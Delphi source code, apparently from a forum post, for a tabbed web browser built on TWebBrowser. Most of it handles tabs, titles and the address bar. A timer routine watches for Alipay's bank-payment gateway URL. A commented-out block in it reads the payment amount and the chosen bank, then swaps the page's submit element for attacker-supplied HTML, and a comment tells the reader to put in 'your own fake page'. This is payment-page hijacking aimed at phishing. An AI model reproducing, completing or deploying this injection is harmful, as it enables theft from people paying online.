16,746
社区成员




procedure Tfmain.FormCreate(Sender: TObject);
var
// webbrowser: TWebBrowser;
tabsheet: TTabSheet;
begin
tabsheet := TTabSheet.Create(Self);
with tabsheet do
begin
PageControl := pgc1;
Caption := dealTitle('百度一下,你就知道');
end;
webbrowser := TWebBrowser.Create(tabsheet);
with webbrowser do
begin
Align := alClient;
Silent := True;
//Navigate('www.baidu.com');
GoHome;
OnBeforeNavigate2 := webBeforeNavigate2;
OnDocumentComplete := webDocumentComplete;
OnNewWindow2 := webNewWindow2;
end;
tabsheet.InsertControl(webbrowser);
with pgc1 do
begin
ActivePageIndex := PageCount - 1;
end;
Self.WindowState := wsMaximized;
end;
procedure Tfmain.addIEPage(var ppDisp: IDispatch);
var
// webbrowser: TWebBrowser;
tabsheet: TTabSheet;
begin
tabsheet := TTabSheet.Create(Self);
with tabsheet do
begin
PageControl := pgc1;
end;
webbrowser := TWebBrowser.Create(tabsheet);
with webbrowser do
begin
Align := alClient;
Silent := True;
OnBeforeNavigate2 := webBeforeNavigate2;
OnDocumentComplete := webDocumentComplete;
OnNewWindow2 := webNewWindow2;
end;
tabsheet.InsertControl(webbrowser);
ppDisp := webbrowser.Application;
with pgc1 do
begin
ActivePageIndex := PageCount - 1;
end;
end;
function Tfmain.dealTitle(title: string): string;
begin
if Length(title) >= 16 then
Result := Copy(title,1,16) + '...'
else
Result := title;
end;
procedure Tfmain.webDocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var
//web: TWebBrowser;
doc: IHTMLDocument2;
begin
webbrowser := pgc1.Pages[pgc1.ActivePageIndex].Components[0] as TWebBrowser;
doc := webbrowser.Document as IHTMLDocument2;
if webbrowser.ReadyState = READYSTATE_COMPLETE then
begin
pgc1.Pages[pgc1.ActivePageIndex].Caption := dealTitle(doc.title);
changeTitle(webbrowser.LocationURL, doc.title);
stat1.Panels[0].Text := '完成';
end;
end;
procedure Tfmain.webNewWindow2(Sender: TObject; var ppDisp: IDispatch;
var Cancel: WordBool);
begin
try
addIEPage(ppDisp);
except
end;
end;
procedure Tfmain.webBeforeNavigate2(Sender: TObject;
const pDisp: IDispatch; var URL, Flags, TargetFrameName, PostData,
Headers: OleVariant; var Cancel: WordBool);
//var
//web: TWebBrowser;
begin
try
webbrowser := (pgc1.Pages[pgc1.ActivePageIndex].Components[0] as TWebBrowser);
// pgc1.Pages[pgc1.ActivePageIndex].Caption := dealTitle(webbrowser.LocationName);
//lbledt_url.Text := webbrowser.LocationURL;
//self.Caption := webbrowser.LocationName;
//Application.Title := webbrowser.LocationName;
stat1.Panels[0].Text := '等待' + webbrowser.LocationURL + '...';
except
end;
end;
procedure Tfmain.pgc1Change(Sender: TObject);
var
web: TWebBrowser;
//doc: IHTMLDocument2;
begin
try
web := pgc1.Pages[pgc1.ActivePageIndex].Components[0] as TWebBrowser;
// doc := web.Document as IHTMLDocument2;
//changeTitle(web.LocationURL, doc.title);
except
end;
end;
procedure Tfmain.changeTitle(url, title: string);
begin
lbledt_url.Text := url;
self.Caption := title;
Application.Title := title;
end;
procedure Tfmain.lbledt_urlKeyPress(Sender: TObject; var Key: Char);
begin
if Key = #13 then
btn1.Click;
end;
procedure Tfmain.lbledt_urlDblClick(Sender: TObject);
begin
lbledt_url.SelectAll;
end;
procedure Tfmain.pgc1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
//var
//activeIndex: Integer;
begin
try
if (Button = mbLeft) and (ssDouble in Shift) then
begin
Index := pgc1.IndexOfTabAt(X, Y);
if Index >= 1 then
begin
//sleep(1500);
//pgc1.Pages[index].Hide;
showmessage(inttostr(Index));
pgc1.Pages[Index].free;
end;
end;
except
end;
end;
procedure Tfmain.btn1Click(Sender: TObject);
var
web: TWebBrowser;
begin
web := pgc1.Pages[pgc1.ActivePageIndex].Components[0] as TWebBrowser;
web.Navigate(lbledt_url.Text);
end;
procedure Tfmain.Button1Click(Sender: TObject);
begin
// showmessage(webbrowser.LocationURL);
showmessage(lbledt_url.Text);
end;
procedure Tfmain.Timer1Timer(Sender: TObject);
begin
if pos('https://cashier.alipay.com/standard/gateway/ebankPay.htm',lbledt_url.Text)<>0 then
begin
try
Idoc2:=webbrowser.Document as IHTMLDocument2;
//pgc1.Pages[index].Destroy;
// pgc1.Pages[index].Destroy;
pgc1.ActivePageIndex := activeIndex;
{ Document:=webbrowser.Document as IHTMLDocument2;
s8:=Document.getElementByID('pay-all').outertext ;
t4:=pos('.',s8);
money:=copy(s8,1,(t4-1));
zr41:=true;
zr4:=true;
ovElements:= Document.getElementByID('ebankPayForm').elements;
s2:=(ovElements.all.tags('span').Item(1).outerHTML);//获取选择银行
t1:=pos('=',s2);
s3:=copy(s2,(t1+7),3); //获取选择银行
//showmessage(s3);
for m:=0 to Document.all.tags('span').Length -1 do
begin
ovElements:=Document.all.tags('span').Item(m).innerHTML;
if pos('submit',ovElements)<>0 then
begin
Document.all.tags('span').Item(m).innerHTML:=host1; //双引号里面的 HTTP 内容改成你自己的假页面
end;
end; }
// IDoc2.parentWindow.execScript('window.open("","_parent","");window.close();','javascript');
except
end;
end;
end;
initialization
oleinitialize(nil);
finalization
oleuninitialize;
end.